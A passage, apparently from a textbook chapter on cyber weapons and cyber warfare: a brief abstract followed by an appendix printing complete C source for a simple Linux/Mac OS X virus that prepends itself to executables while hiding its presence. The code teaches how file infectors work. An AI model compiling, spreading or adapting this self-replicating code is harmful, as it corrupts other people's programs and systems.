Cyber Weapons and Cyber Warfare

Abstract

A cyber attack is any type of offensive action employed by nation-states, individuals, groups, or organizations that targets computer information systems, infrastructures, computer networks, or personal computer devices by various means of malicious acts. Cyber attacks typically originate from an anonymous source that steals, alters, or destroys a specified target by hacking into a vulnerable system (https://en.wikipedia.org/wiki/Cyberattack). Cyber warfare involves the actions by a nation-state to attack and attempt to damage another nation’s computers or information infrastructure through, for example, computer viruses, worms, or denial-of-service attacks. In this chapter we’ll look at various types of cryptologic techniques used in cyber attacks and discuss the possibilities of using cryptology in cyber warfare ; the chapter does not go deeply into system vulnerabilities and attacks or into cyber attack prevention, mitigation, or response.

Appendix: A Simple Linux Virus Program Written in C

/* * Simple Linux (with moderate error handling) * This virus attempts to open a victim file (executable) * and insert itself into that file. * * Compile using gcc -o virus simpleLinuxvirus.c * * and execute using ./virus <victimFile> * * Original author Amrit Singh (2006) * modified by jfd to work under Mac OS X 10.6 05/2011 * also comments added (why don't these virus writers * ever use comments?) * modified again by jfd to work under OS X 10.7 10/2012 * modified again by jfd to work under OS X 10.10 02/2015 * modified again by jfd to work under OS X 10.13 02/2018 * */ /* uncomment next line to run on some Linux boxes */ /* #include <linux/prctl.h> */ #include <stdio.h> #include <signal.h> #include <sys/time.h> #include <sys/resource.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/param.h> #include <sys/wait.h> #include <unistd.h> #include <stdlib.h> #include <errno.h> #include <fcntl.h> #include <sys/mman.h> /* * the size of our own executable in bytes * you'll have to compile, find the length and then * reset this and re-compile */ static int V_OFFSET = 9428; extern int errno; /* prototype of the routine that does all the work */ void do_infect(int, char **, int); int main(int argc, char **argv, char **envp) { int len; int rval; int pid, status; int fd_r, fd_w; char *tmp; char buf[BUFSIZ]; /* just so we know it works; this is the virus payload */ printf("THIS IS A VIRUS!\n"); /* Now we go back to replicating ourselves */ /* * these next three if statements check to see * if the victim file is writable * and if this file is readable */ if ((fd_r = open(argv[0], O_RDONLY)) < 0) goto XBAILOUT; /* seek to the end. if this fails leave */ if (lseek(fd_r, V_OFFSET, SEEK_SET) < 0) { close(fd_r); goto XBAILOUT; } /* create a temporary file */ if ((tmp = tmpnam(NULL)) == NULL) { close(fd_r); goto BAILOUT; } /* open the temporary file */ if ((fd_w = open(tmp, O_CREAT | O_TRUNC | O_RDWR, 00700)) < 0) goto BAILOUT; /* read the current file into the temporary file */ while ((len = read(fd_r, buf, BUFSIZ)) > 0) write(fd_w, buf, len); close(fd_w); /* create a clone of this file */ if ((pid = fork()) < 0) goto BAILOUT; /* run the original executable * done so the user thinks everything is * hunky swell * */ if (pid == 0) { execve(tmp, argv, envp); exit(127); } /* Infect */ do_infect(argc, argv, fd_r); close(fd_r); do { /* wait till you can cleanup */ if (waitpid(pid, &status, 0) == -1) { if (errno != EINTR) { rval = -1; goto BAILOUT; } else { rval = status; goto BAILOUT; } } } while (1); BAILOUT: unlink(tmp); /* delete the tmp file */ XBAILOUT: exit(rval); } void do_infect(int argc, char **argv, int fd_r) { int fd_t; int target, i; int done, bytes, length; char * targetName; void *map; struct stat stat; char buf[BUFSIZ]; if (argc < 2) return; /* nail the first executable on the command line */ for (target = 1; target < argc; target++) if (!access(argv[target], W_OK | X_OK)) targetName = argv[target]; goto NAILED; return; /* try to open the victim; return if fails */ NAILED: if ((fd_t = open(targetName, O_RDWR)) < 0) return; /* get the permissions info, length, etc. for the victim */ fstat(fd_t, &stat); length = stat.st_size; /* create a buffer that's as long as the victim */ map = (char *)malloc(length); if (!map) goto OUT; /* assume no short reads or writes, nor any failed lseeks */ /* read the victim into the buffer */ for (i = 0; i < length; i++) read(fd_t, map + i, 1); /* seek to the start of the victim * and truncate it to zero length * */ lseek(fd_t, 0, SEEK_SET); if (ftruncate(fd_t, 0)) goto OUT; /* read from the temp file into the buffer */ done = 0; /* seek back to the beginning */ lseek(fd_r, 0, SEEK_SET); /* * read the virus into the buffer * and then write it into the victim file */ while (done < V_OFFSET) { bytes = read(fd_r, buf, 1); write(fd_t, buf, bytes); done += bytes; } /* write back out the victim buffer * to the victim file */ for (bytes = 0; bytes < length; bytes++) write(fd_t, map + bytes, 1); /* free the space in tmp */ free(map); /* close the victim file and return */ OUT: close(fd_t); return; }